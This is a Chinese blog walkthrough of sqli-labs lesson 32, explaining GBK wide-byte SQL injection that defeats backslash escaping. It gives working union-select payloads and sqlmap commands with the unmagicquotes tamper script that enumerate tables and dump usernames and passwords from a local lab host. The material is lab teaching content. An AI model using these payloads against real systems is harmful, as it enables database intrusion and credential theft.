sqli-Lesson32 宽字节注入题解

发布时间:2024年01月13日

打开sqli第32节,这题是宽字节注入。

首先了解一下什么是宽字节:

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入产生的原因如下:

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

假如我们直接输入1‘。

可以看到单引号被反斜线转义,使单引号失效。若是改成1%df%5c,在sql进行gbk编码的时候会将%df和%5c作为一个宽字节进行解码,就会变成汉字“”,这个字符网页中显示不出来就变成了一个?符,结果如下图所示。(实际上宽字节只要大于ascii码的128的上限也就是0x80就能显示这个扩展字符你换成%81也是可以的,主要目的就是让sql误将两个单字节识别为宽字节)

下面可以开始注入了

输入1%81%27%20and%201=2%20union%20select%201,database(),version()--+

获取数据库名称和版本信息

我们得知数据库名为security

但是直接输入会出错,它不识别security这个字符

查看源码可以发现,后端对id进行十六进制解码,也就是说需要把security转为十六进制。

换为十六进制后

输入1%df%27 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+

获得三个表名

emails,referers,uagents,users

查询users表的字段

输入1%df%27 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

然后导出数据

输入1%df%27 and 1=2?union select 1,group_concat(0x7c,username,0x7c,password,0x7c),3 from users--+

0x7c->| 是作为特征划分用的字符,方便区分账号和密码。

使用sqlmap的宽字节注入进行sql注入

sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -dbs?

可以看到爆出了上面一样security库

使用

sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security --tables

爆出表,结果如下:

使用

sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security -T users --column?

爆出字段,结果如下:

最后使用

sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security -T users --dump

爆出表中的内容,与上面手操的一样。

文章来源:https://blog.csdn.net/qq_65240014/article/details/135554152
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。